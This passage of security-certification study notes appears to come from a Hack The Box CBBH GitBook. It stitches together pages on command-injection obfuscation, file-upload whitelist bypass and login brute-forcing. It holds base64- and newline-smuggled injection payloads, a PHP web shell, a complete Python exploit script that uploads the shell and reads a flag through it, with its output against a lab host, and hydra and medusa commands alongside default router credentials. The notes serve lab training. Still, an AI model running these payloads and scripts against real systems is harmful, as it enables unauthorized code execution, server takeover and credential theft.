string from `utf-8` to `utf-16` before we `base64` it, as follows: Advanced Command Obfuscation Finally, we can decode the b64 string and execute it with a PowerShell sub-shell (`iex "$()"`), as follows: Advanced Command Obfuscation As we can see, we can get creative with `Bash` or `PowerShell` and create new bypassing and obfuscation methods that have not been used before, and hence are very likely to bypass filters and WAFs. Several tools can help us automatically obfuscate our commands, which we will discuss in the next section. In addition to the techniques we discussed, we can utilize numerous other methods, like wildcards, regex, output redirection, integer expansion, and many others. We can find some such techniques on [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#bypass-with-variable-expansion) . Find the output of the following command using one of the techniques you learned in this section: find /usr/share/ | grep root | grep mysql | tail -n 1[](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/filter-evasion/advanced-command-obfuscation#find-the-output-of-the-following-command-using-one-of-the-techniques-you-learned-in-this-section-fin) ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ To pass this question you will need to utlize this piece of information: We can utilize various encoding tools, like `base64` (for b64 encoding) or `xxd` (for hex encoding). Let's take `base64` as an example. First, we'll encode the payload we want to execute (which includes filtered characters): Advanced Command Obfuscation #### Explanation of the Code Snippet[](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/filter-evasion/advanced-command-obfuscation#explanation-of-the-code-snippet) The command given above uses `base64` encoding to obfuscate a specific shell command. Here's a breakdown of the process: 1. **Command Structure**: * `echo -n 'find /usr/share/ | grep root | grep mysql | tail -n 1'` generates the exact string to encode without appending a newline. This obfuscation makes the command less human-readable, which can be useful for bypassing filters or hiding the command's functionality in a secure manner. When decoded, the base64 string will execute the original command to find entries containing "root" and "mysql" within a file path, specifically returning the last match due to `tail -n 1`. I figured this out because it seemed the most similar to the type of command the questions wanted injected. First I used this command in my kali terminal to see if I could base64 encode the desired command The above code demonstrates how to encode a command using base64 to make it less human-readable and potentially bypass security filters. The command `echo -n 'find /usr/share/ | grep root | grep mysql | tail -n 1'` outputs a string that is then piped into `base64`, which encodes it into `ZmluZCAvdXNyL3NoYXJlLyB8IGdyZXAgcm9vdCB8IGdyZXAgbXlzcWwgfCB0YWlsIC1uIDE=`. This encoded string, when decoded, will execute the original command, which searches for entries that include "root" and "mysql" in their paths and returns the last match. So now I can craft my speical payload that I will feed into burp after intercepting the request The payload is crafted to exploit command injection vulnerabilities by encoding a command using base64 and executing it to avoid detection by security mechanisms. Here is an in-depth breakdown: * `**127.0.0.1%0a**`: This starts with an IP address followed by `%0a`, which is the URL-encoded representation of a newline character. This newline allows the payload to break into a new bash command. * `**bash<<<$(base64%09-d<<<ZmluZCAvdXNyL3NoYXJlLyB8IGdyZXAgcm9vdCB8IGdyZXAgbXlzcWwgfCB0YWlsIC1uIDE=)**`: The injected command uses Bash with a here-string (`<<<`) to process the base64-decoded input. * `**base64%09-d**`: The `%09` is a URL-encoded tab character, maintaining readability. The `-d` option for base64 is used to decode the provided string. * **The encoded string** `**ZmluZCAvdXNyL3NoYXJlLyB8IGdyZXAgcm9vdCB8IGdyZXAgbXlzcWwgfCB0YWlsIC1uIDE=**`: Decodes to a command that searches for files related to "root" and "mysql" in the `/usr/share/` directory. This payload effectively executes a base64-encoded command by bypassing typical filtering mechanisms, potentially enabling unauthorized command execution on a vulnerable system. whne executed in repater in burp we get this ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2F1842858984-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FysDlYrLDpld6VwcWEx4H%252Fuploads%252FnSvhkCwTUHtdk8J2mQai%252Fimage.png%3Falt%3Dmedia%26token%3D8cd49ef0-0042-44b0-b0d1-bf2c52919b2d&width=768&dpr=3&quality=100&sign=fb802f7&sv=2) and so the answer is: Answer: /usr/share/mysql/debian\_create\_root\_user.sql [PreviousBypassing Blacklisted Commands](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/filter-evasion/bypassing-blacklisted-commands) [NextEvasion Tools](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/filter-evasion/evasion-tools) Last updated 1 year ago * [Advanced Command Obfuscation](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/filter-evasion/advanced-command-obfuscation#advanced-command-obfuscation) * [Case Manipulation](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/filter-evasion/advanced-command-obfuscation#case-manipulation) * [Reversed Commands](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/filter-evasion/advanced-command-obfuscation#reversed-commands) * [Encoded Commands](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/filter-evasion/advanced-command-obfuscation#encoded-commands) * [Find the output of the following command using one of the techniques you learned in this section: find /usr/share/ | grep root | grep mysql | tail -n 1](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/filter-evasion/advanced-command-obfuscation#find-the-output-of-the-following-command-using-one-of-the-techniques-you-learned-in-this-section-fin) Copy $(a="WhOaMi";printf %s "${a,,}") Copy Code4Christ@htb[/htb]$ echo 'whoami' | rev imaohw Copy 21y4d@htb[/htb]$ $(rev<<<'imaohw') 21y4d Copy PS C:\htb> "whoami"[-1..-20] -join '' imaohw Copy PS C:\htb> iex "$('imaohw'[-1..-20] -join '')" 21y4d Copy Code4Christ@htb[/htb]$ echo -n 'cat /etc/passwd | grep 33' | base64 Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw== Copy Code4Christ@htb[/htb]$ bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==) www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin Copy PS C:\htb> [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes('whoami')) dwBoAG8AYQBtAGkA Copy Code4Christ@htb[/htb]$ echo -n whoami | iconv -f utf-8 -t utf-16le | base64 dwBoAG8AYQBtAGkA Copy PS C:\htb> iex "$([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('dwBoAG8AYQBtAGkA')))" 21y4d Copy Code4Christ@htb[/htb]$ echo -n 'cat /etc/passwd | grep 33' | base64 Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw== Copy find /usr/share/ | grep root | grep mysql | tail -n 1 Copy ┌──(kali㉿kali)-[~] └─$ echo -n 'find /usr/share/ | grep root | grep mysql | tail -n 1' | base64 ZmluZCAvdXNyL3NoYXJlLyB8IGdyZXAgcm9vdCB8IGdyZXAgbXlzcWwgfCB0YWlsIC1uIDE= Copy // Bypass filter payload 127.0.0.1%0abash<<<$(base64%09-d<<<ZmluZCAvdXNyL3NoYXJlLyB8IGdyZXAgcm9vdCB8IGdyZXAgbXlzcWwgfCB0YWlsIC1uIDE=) --- # Whitelist Filters | CBBH For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt) . This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/bypassing-filters/whitelist-filters.md) . Whitelist Filters[](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/bypassing-filters/whitelist-filters#whitelist-filters) ---------------------------------------------------------------------------------------------------------------------------------------- * * * As discussed in the previous section, the other type of file extension validation is by utilizing a `whitelist of allowed file extensions`. A whitelist is generally more secure than a blacklist. The web server would only allow the specified extensions, and the list would not need to be comprehensive in covering uncommon extensions. Still, there are different use cases for a blacklist and for a whitelist. A blacklist may be helpful in cases where the upload functionality needs to allow a wide variety of file types (e.g., File Manager), while a whitelist is usually only used with upload functionalities where only a few file types are allowed. Both may also be used in tandem. * * * ### Whitelisting Extensions[](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/bypassing-filters/whitelist-filters#whitelisting-extensions) Let's start the exercise at the end of this section and attempt to upload an uncommon PHP extension, like `.phtml`, and see if we are still able to upload it as we did in the previous section: arrow-circle-left redo home ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F136%2Ffile_uploads_whitelist_message.jpg&width=768&dpr=3&quality=100&sign=1783e092&sv=2) We see that we get a message saying `Only images are allowed`, which may be more common in web apps than seeing a blocked extension type. However, error messages do not always reflect which form of validation is being utilized, so let's try to fuzz for allowed extensions as we did in the previous section, using the same wordlist that we used previously: arrow-circle-left redo home ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F136%2Ffile_uploads_whitelist_fuzz.jpg&width=768&dpr=3&quality=100&sign=f09bd7c4&sv=2) We can see that all variations of PHP extensions are blocked (e.g. `php5`, `php7`, `phtml`). However, the wordlist we used also contained other 'malicious' extensions that were not blocked and were successfully uploaded. So, let's try to understand how we were able to upload these extensions and in which cases we may be able to utilize them to execute PHP code on the back-end server. The following is an example of a file extension whitelist test: Code: php We see that the script uses a Regular Expression (`regex`) to test whether the filename contains any whitelisted image extensions. The issue here lies within the `regex`, as it only checks whether the file name `contains` the extension and not if it actually `ends` with it. Many developers make such mistakes due to a weak understanding of regex patterns. So, let's see how we can bypass these tests to upload PHP scripts. * * * ### Double Extensions[](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/bypassing-filters/whitelist-filters#double-extensions) The code only tests whether the file name contains an image extension; a straightforward method of passing the regex test is through `Double Extensions`. For example, if the `.jpg` extension was allowed, we can add it in our uploaded file name and still end our filename with `.php` (e.g. `shell.jpg.php`), in which case we should be able to pass the whitelist test, while still uploading a PHP script that can execute PHP code. Exercise: Try to fuzz the upload form with [This Wordlist](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/web-extensions.txt) to find what extensions are whitelisted by the upload form. Let's intercept a normal upload request, and modify the file name to (`shell.jpg.php`), and modify its content to that of a web shell: arrow-circle-left redo home ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F136%2Ffile_uploads_double_ext_request.jpg&width=768&dpr=3&quality=100&sign=a056c294&sv=2) Now, if we visit the uploaded file and try to send a command, we can see that it does indeed successfully execute system commands, meaning that the file we uploaded is a fully working PHP script: arrow-circle-left redo home ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F136%2Ffile_uploads_php_manual_shell.jpg&width=768&dpr=3&quality=100&sign=ada9df03&sv=2) However, this may not always work, as some web applications may use a strict `regex` pattern, as mentioned earlier, like the following: Code: php This pattern should only consider the final file extension, as it uses (`^.*\.`) to match everything up to the last (`.`), and then uses (`$`) at the end to only match extensions that end the file name. So, the `above attack would not work`. Nevertheless, some exploitation techniques may allow us to bypass this pattern, but most rely on misconfigurations or outdated systems. * * * ### Reverse Double Extension[](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/bypassing-filters/whitelist-filters#reverse-double-extension) In some cases, the file upload functionality itself may not be vulnerable, but the web server configuration may lead to a vulnerability. For example, an organization may use an open-source web application, which has a file upload functionality. Even if the file upload functionality uses a strict regex pattern that only matches the final extension in the file name, the organization may use the insecure configurations for the web server. For example, the `/etc/apache2/mods-enabled/php7.4.conf` for the `Apache2` web server may include the following configuration: Code: xml The above configuration is how the web server determines which files to allow PHP code execution. It specifies a whitelist with a regex pattern that matches `.phar`, `.php`, and `.phtml`. However, this regex pattern can have the same mistake we saw earlier if we forget to end it with (`$`). In such cases, any file that contains the above extensions will be allowed PHP code execution, even if it does not end with the PHP extension. For example, the file name (`shell.php.jpg`) should pass the earlier whitelist test as it ends with (`.jpg`), and it would be able to execute PHP code due to the above misconfiguration, as it contains (`.php`) in its name. Exercise: The web application may still utilize a blacklist to deny requests containing `PHP` extensions. Try to fuzz the upload form with the [PHP Wordlist](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Extension%20PHP/extensions.lst) to find what extensions are blacklisted by the upload form. Let's try to intercept a normal image upload request, and use the above file name to pass the strict whitelist test: arrow-circle-left redo home ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F136%2Ffile_uploads_reverse_double_ext_request.jpg&width=768&dpr=3&quality=100&sign=c0f427a1&sv=2) Now, we can visit the uploaded file, and attempt to execute a command: arrow-circle-left redo home ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F136%2Ffile_uploads_php_manual_shell.jpg&width=768&dpr=3&quality=100&sign=ada9df03&sv=2) As we can see, we successfully bypassed the strict whitelist test and exploited the web server misconfiguration to execute PHP code and gain control over the server. ### Character Injection[](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/bypassing-filters/whitelist-filters#character-injection) Finally, let's discuss another method of bypassing a whitelist validation test through `Character Injection`. We can inject several characters before or after the final extension to cause the web application to misinterpret the filename and execute the uploaded file as a PHP script. The following are some of the characters we may try injecting: * `%20` * `%0a` * `%00` * `%0d0a` * `/` * `.\` * `.` * `…` * `:` Each character has a specific use case that may trick the web application to misinterpret the file extension. For example, (`shell.php%00.jpg`) works with PHP servers with version `5.X` or earlier, as it causes the PHP web server to end the file name after the (`%00`), and store it as (`shell.php`), while still passing the whitelist. The same may be used with web applications hosted on a Windows server by injecting a colon (`:`) before the allowed file extension (e.g. `shell.aspx:.jpg`), which should also write the file as (`shell.aspx`). Similarly, each of the other characters has a use case that may allow us to upload a PHP script while bypassing the type validation test. We can write a small bash script that generates all permutations of the file name, where the above characters would be injected before and after both the `PHP` and `JPG` extensions, as follows: Code: bash With this custom wordlist, we can run a fuzzing scan with `Burp Intruder`, similar to the ones we did earlier. If either the back-end or the web server is outdated or has certain misconfigurations, some of the generated filenames may bypass the whitelist test and execute PHP code. Exercise: Try to add more PHP extensions to the above script to generate more filename permutations, then fuzz the upload functionality with the generated wordlist to see which of the generated file names can be uploaded, and which may execute PHP code after being uploaded. This one was tuff and I was stuck for a cuple hours Essentially I ended up just sending a very simple ¾ requests to the upload endpoint ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2F1842858984-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FysDlYrLDpld6VwcWEx4H%252Fuploads%252FZ3AK2AVEuVsGOYv3RJeQ%252Fimage.png%3Falt%3Dmedia%26token%3D53f6b101-e0e7-4428-957d-9c20ba3af0d7&width=768&dpr=3&quality=100&sign=1112abad&sv=2) The last one worked, so I set up the rce at the endpoint. This came from me reading online that .phar worked, and then looking at the module again. [http://94.237.56.181:39854/profile\_images/shell.phar.png?cmd=cat%20/flag.txt94.237.56.181](http://94.237.56.181:39854/profile_images/shell.phar.png?cmd=cat%20/flag.txt) It worked, saw a successful upload then I tried the rce to obtain the flag on the profile\_images part ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2F1842858984-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FysDlYrLDpld6VwcWEx4H%252Fuploads%252FlsNBdty3kAebm4cC706p%252Fimage.png%3Falt%3Dmedia%26token%3D4d1fddf9-681b-41ca-bfd2-e2be3c7cfe77&width=768&dpr=3&quality=100&sign=a46ff461&sv=2) Python Automation for this OUTPUT A: HTB{1\_wh173l157\_my53lf} [PreviousBlacklist Filters](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/bypassing-filters/blacklist-filters) [NextType Filters](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/bypassing-filters/type-filters) Last updated 9 months ago * [Whitelist Filters](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/bypassing-filters/whitelist-filters#whitelist-filters) * [Whitelisting Extensions](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/bypassing-filters/whitelist-filters#whitelisting-extensions) * [Double Extensions](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/bypassing-filters/whitelist-filters#double-extensions) * [Reverse Double Extension](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/bypassing-filters/whitelist-filters#reverse-double-extension) * [Character Injection](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/bypassing-filters/whitelist-filters#character-injection) Copy $fileName = basename($_FILES["uploadFile"]["name"]); if (!preg_match('^.*\.(jpg|jpeg|png|gif)', $fileName)) { echo "Only images are allowed"; die(); } Copy if (!preg_match('/^.*\.(jpg|jpeg|png|gif)$/', $fileName)) { ...SNIP... } Copy <FilesMatch ".+\.ph(ar|p|tml)"> SetHandler application/x-httpd-php </FilesMatch> Copy for char in '%20' '%0a' '%00' '%0d0a' '/' '.\\' '.' '…' ':'; do for ext in '.php' '.phps'; do echo "shell$char$ext.jpg" >> wordlist.txt echo "shell$ext$char.jpg" >> wordlist.txt echo "shell.jpg$char$ext" >> wordlist.txt echo "shell.jpg$ext$char" >> wordlist.txt done done Copy """ --------------------------- Whitelist Filters --------------------------- 1. The above exercise employs a blacklist and a whitelist test to block unwanted extensions and only allow image extensions. Try to bypass both to upload a PHP script and execute code to read "/flag.txt" """ # Import Request to send web request to the internet import requests import sys import requests import subprocess # Module to display output in different colors. from colorama import Fore, Back, Style """ Disable the display of certificate warnings when requests are made to websites using insecure certificates. This can be useful in scenarios where targeted web applications use self-signed certificates as is the case in the AWAE labs. """ requests.packages.urllib3.\ disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning) # Optional headers to mimic your Burp capture HEADERS = { "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0", "Accept": "*/*", "X-Requested-With": "XMLHttpRequest", "Origin": "http://{target}", "Referer": "http://{target}/", # don't set Content-Type here — requests will set the correct multipart boundary } def main(): """ Main entry point: - validate CLI args - build request info - simulate (or actually perform) the request - format and print the response blocks """ # If the script is ran without specify the target if len(sys.argv) != 2: print(f"In CLI, Usage should be: {sys.argv[0]} target") print(f"Example: {sys.argv[0]} 10.0.0.1") print(f"Example: {sys.argv[0]} manageengine") sys.exit(1) # Obtain taregt from CLI target = sys.argv[1].strip().rstrip('/') # from CLI202 # ============================ PHP SCRIPT ============================ # php_web_shell_filename = "shell.phar.png" php_content = "<?php system($_REQUEST['cmd']); ?>" # ============================ UPLOAD AND ACCESS URL of TARGET ============================ # upload_url = f"http://{target}/upload.php" # Specify Profile Images access_url = f"http://{target}/profile_images/{php_web_shell_filename}?cmd=cat%20/flag.txt" # ============================ UPLOAD FILE TO TARGET, By passing blacklist filters ============================ # # Upload File upload_response = upload_file(php_web_shell_filename, php_content, upload_url) # Display upload Response print_response(upload_response) # ============================ ACESS FLAG AND WEBSHELL RESPONSE of TARGET ============================ # web_shell_response = access_web_shell(access_url) # Display Flag / Web Shell Response print_response(web_shell_response) def upload_file(php_web_shell_filename, php_content, upload_url): # FILE INFORMATION files = { # form field name 'file' may vary by app; change if necessary "uploadFile": (php_web_shell_filename, php_content.encode("utf-8"), "application/x-php"), } # ============================ Initiate the Request to UPLOAD PHP FILE ============================ # try: # WARNING: verify=False disables TLS certificate verification. r = requests.post(upload_url, files=files, verify=False, timeout=10) except requests.RequestException as e: print(f"Request failed: {e}") sys.exit(2) print("\n ############### UPLOAD FILE RESPONSE ###############") # return response to upload return r def access_web_shell(access_url): # ============================ ACCESS Web Shell / PHP UPLOAD FILE RESPONSE ============================ # try: # WARNING: verify=False disables TLS certificate verification. r = requests.get(access_url, headers={"User-Agent": HEADERS["User-Agent"]}, verify=False, timeout=10) except requests.RequestException as e: print(f"Request failed: {e}") sys.exit(2) print("\n ############### WEB SHELL RESPONSE WITH FLAG ###############") # return response to with flag return r def print_response(response): r = response # ============================ FORMAT OUTPUT ============================ # print("\n======= Custom Exploit Development =======\n") print(format_text("REQUEST METHOD:", r.request.method)) print(format_text("REQUEST URL:", r.request.url)) print(format_text("REQUEST HEADERS,r.headers is: :", r.request.headers)) print(format_text("REQUEST BODY (raw):", r.request.body)) # shows form-encoded body print(format_text("RESPONSE STATUS,r.status_code is:", r.status_code)) print(format_text("RESPONSE COOKIES,r.cookies is:", r.cookies)) print(format_text("RESPONSE CONTENT-LENGTH:", len(r.text))) print(format_text("RESPONSE (first 300 chars):\n", r.text)) def format_text(title,item): """ Helper to create a nicely formatted console output block. - title: short label for the section (e.g. "r.status_code is:") - item: item to display (will be stringified) Returns a string that contains the title, a separator, the item, and a short marker. """ cr = '\r\n' section_break = cr + "*" * 20 + cr item = str(item) text = Style.BRIGHT + Fore.RED + title + Fore.RESET + section_break + item + section_break + '\t' return text if __name__ == "__main__": main() Copy ┌──(venv)─(kali㉿kali)-[~/CWES/File-Upload-Attacks/Bypassing-Filters/Whitelist-Filters] └─$ python3 whitelist-filters.py 94.237.56.181:39854 ############### UPLOAD FILE RESPONSE ############### ======= Custom Exploit Development ======= REQUEST METHOD: ******************** POST ******************** REQUEST URL: ******************** http://94.237.56.181:39854/upload.php ******************** REQUEST HEADERS,r.headers is: : ******************** {'User-Agent': 'python-requests/2.32.5', 'Accept-Encoding': 'gzip, deflate', 'Accept': '*/*', 'Connection': 'keep-alive', 'Content-Length': '223', 'Content-Type': 'multipart/form-data; boundary=8e4c3023132fb500862220e7d7b8a8ee'} ******************** REQUEST BODY (raw): ******************** b'--8e4c3023132fb500862220e7d7b8a8ee\r\nContent-Disposition: form-data; name="uploadFile"; filename="shell.phar.png"\r\nContent-Type: application/x-php\r\n\r\n<?php system($_REQUEST[\'cmd\']); ?>\r\n--8e4c3023132fb500862220e7d7b8a8ee--\r\n' ******************** RESPONSE STATUS,r.status_code is: ******************** 200 ******************** RESPONSE COOKIES,r.cookies is: ******************** <RequestsCookieJar[]> ******************** RESPONSE CONTENT-LENGTH: ******************** 26 ******************** RESPONSE (first 300 chars): ******************** File successfully uploaded ******************** ############### WEB SHELL RESPONSE WITH FLAG ############### ======= Custom Exploit Development ======= REQUEST METHOD: ******************** GET ******************** REQUEST URL: ******************** http://94.237.56.181:39854/profile_images/shell.phar.png?cmd=cat%20/flag.txt ******************** REQUEST HEADERS,r.headers is: : ******************** {'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0', 'Accept-Encoding': 'gzip, deflate', 'Accept': '*/*', 'Connection': 'keep-alive'} ******************** REQUEST BODY (raw): ******************** None ******************** RESPONSE STATUS,r.status_code is: ******************** 200 ******************** RESPONSE COOKIES,r.cookies is: ******************** <RequestsCookieJar[]> ******************** RESPONSE CONTENT-LENGTH: ******************** 24 ******************** RESPONSE (first 300 chars): ******************** HTB{1_wh173l157_my53lf} ******************** --- # CHEAT SHEET | CBBH For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt) . This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/cheat-sheet.md) . The cheat sheet is a useful command reference for this module. Login Brute Forcing Cheat Sheet[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/cheat-sheet#login-brute-forcing-cheat-sheet) -------------------------------------------------------------------------------------------------------------------------------------------- * * * ### What is Brute Forcing?[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/cheat-sheet#what-is-brute-forcing) A trial-and-error method used to crack passwords, login credentials, or encryption keys by systematically trying every possible combination of characters. #### Factors Influencing Brute Force Attacks[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/cheat-sheet#factors-influencing-brute-force-attacks) * Complexity of the password or key * Computational power available to the attacker * Security measures in place #### How Brute Forcing Works[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/cheat-sheet#how-brute-forcing-works) 1. Start: The attacker initiates the brute force process. 2. Generate Possible Combination: The software generates a potential password or key combination. 3. Apply Combination: The generated combination is attempted against the target system. 4. Check if Successful: The system evaluates the attempted combination. 5. Access Granted (if successful): The attacker gains unauthorized access. 6. End (if unsuccessful): The process repeats until the correct combination is found or the attacker gives up. #### Types of Brute Forcing[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/cheat-sheet#types-of-brute-forcing) Attack Type Description Best Used When Simple Brute Force Tries every possible character combination in a set (e.g., lowercase, uppercase, numbers, symbols). When there is no prior information about the password. Dictionary Attack Uses a pre-compiled list of common passwords. When the password is likely weak or follows common patterns. Hybrid Attack Combines brute force and dictionary attacks, adding numbers or symbols to dictionary words. When the target uses slightly modified versions of common passwords. Credential Stuffing Uses leaked credentials from other breaches to access different services where users may have reused passwords. When you have a set of leaked credentials, and the target may reuse passwords. Password Spraying Attempts common passwords across many accounts to avoid detection. When account lockout policies are in place. Rainbow Table Attack Uses precomputed tables of password hashes to reverse them into plaintext passwords. When a large number of password hashes need cracking, and storage for tables is available. Reverse Brute Force Targets a known password against multiple usernames. When there’s a suspicion of password reuse across multiple accounts. Distributed Brute Force Distributes brute force attempts across multiple machines to speed up the process. When the password is highly complex, and a single machine isn't powerful enough. ### Default Credentials[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/cheat-sheet#default-credentials) * Default Usernames: Pre-set usernames that are widely known * Default Passwords: Pre-set, easily guessable passwords that come with devices and software Device Username Password Linksys Router admin admin Netgear Router admin password TP-Link Router admin admin Cisco Router cisco cisco Ubiquiti UniFi AP ubnt ubnt ### Brute-Forcing Tools[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/cheat-sheet#brute-forcing-tools) #### Hydra[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/cheat-sheet#hydra) * Fast network login cracker * Supports numerous protocols * Uses parallel connections for speed * Flexible and adaptable * Relatively easy to use Code: bash Hydra Service Service/Protocol Description Example Command ftp File Transfer Protocol (FTP) Used to brute-force login credentials for FTP services, commonly used to transfer files over a network. `hydra -l admin -P /path/to/password_list.txt ftp://192.168.1.100` ssh Secure Shell (SSH) Targets SSH services to brute-force credentials, commonly used for secure remote login to systems. `hydra -l root -P /path/to/password_list.txt ssh://192.168.1.100` http-get/post HTTP Web Services Used to brute-force login credentials for HTTP web login forms using either GET or POST requests. `hydra -l admin -P /path/to/password_list.txt 127.0.0.1 http-post-form "/login.php:user=^USER^&pass=^PASS^:F=incorrect"` #### Medusa[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/cheat-sheet#medusa) * Fast, massively parallel, modular login brute-forcer * Supports a wide array of services Code: bash Medusa Module Service/Protocol Description Example Command ssh Secure Shell (SSH) Brute force SSH login for the `admin` user. `medusa -h 192.168.1.100 -u admin -P passwords.txt -M ssh` ftp File Transfer Protocol (FTP) Brute force FTP with multiple usernames and passwords using 5 parallel threads. `medusa -h 192.168.1.100 -U users.txt -P passwords.txt -M ftp -t 5` rdp Remote Desktop Protocol (RDP) Brute force RDP login. `medusa -h 192.168.1.100 -u admin -P passwords.txt -M rdp` http-get HTTP Web Services Brute force HTTP Basic Authentication. `medusa -h www.example.com -U users.txt -P passwords.txt -M http -m GET` ssh Secure Shell (SSH) Stop after the first valid SSH login is found. `medusa -h 192.168.1.100 -u admin -P passwords.txt -M ssh -f` #### Custom Wordlists[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/cheat-sheet#custom-wordlists) Username Anarchy generates potential usernames based on a target's name. Command Description `username-anarchy Jane Smith` Generate possible usernames for "Jane Smith" `username-anarchy -i names.txt` Use a file (`names.txt`) with names for input. Can handle space, CSV, or TAB delimited names. `username-anarchy -a --country us` Automatically generate usernames using common names from the US dataset. `username-anarchy -l` List available username format plugins. `username-anarchy -f format1,format2` Use specific format plugins for username generation (comma-separated). `username-anarchy -@ example.com` Append `@example.com` as a suffix to each username. `username-anarchy --case-insensitive` Generate usernames in case-insensitive (lowercase) format. CUPP (Common User Passwords Profiler) creates personalized password wordlists based on gathered intelligence. Command Description `cupp -i` Generate wordlist based on personal information (interactive mode). `cupp -w profiles.txt` Generate a wordlist from a predefined profile file. `cupp -l` Download popular password lists like `rockyou.txt`. #### Password Policy Filtering[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/cheat-sheet#password-policy-filtering) Password policies often dictate specific requirements for password strength, such as minimum length, inclusion of certain character types, or exclusion of common patterns. `grep` combined with regular expressions can be a powerful tool for filtering wordlists to identify passwords that adhere to a given policy. Below is a table summarizing common password policy requirements and the corresponding `grep` regex patterns to apply: Policy Requirement Grep Regex Pattern Explanation Minimum Length (e.g., 8 characters) `grep -E '^.{8,}$' wordlist.txt` `^` matches the start of the line, `.` matches any character, `{8,}` matches 8 or more occurrences, `$` matches the end of the line. At Least One Uppercase Letter `grep -E '[A-Z]' wordlist.txt` `[A-Z]` matches any uppercase letter. At Least One Lowercase Letter `grep -E '[a-z]' wordlist.txt` `[a-z]` matches any lowercase letter. At Least One Digit `grep -E '[0-9]' wordlist.txt` `[0-9]` matches any digit. At Least One Special Character `grep -E '[!@#$%^&*()_+-=[]{};':"\,.<>/?]' wordlist.txt` `[!@#$%^&*()_+-=[]{};':"\,.<>/?]` matches any special character (symbol). No Consecutive Repeated Characters `grep -E '(.)\1' wordlist.txt` `(.)` captures any character, `\1` matches the previously captured character. This pattern will match any line with consecutive repeated characters. Use `grep -v` to invert the match. Exclude Common Patterns (e.g., "password") `grep -v -i 'password' wordlist.txt` `-v` inverts the match, `-i` makes the search case-insensitive. This pattern will exclude any line containing "password" (or "Password", "PASSWORD", etc.). Exclude Dictionary Words `grep -v -f 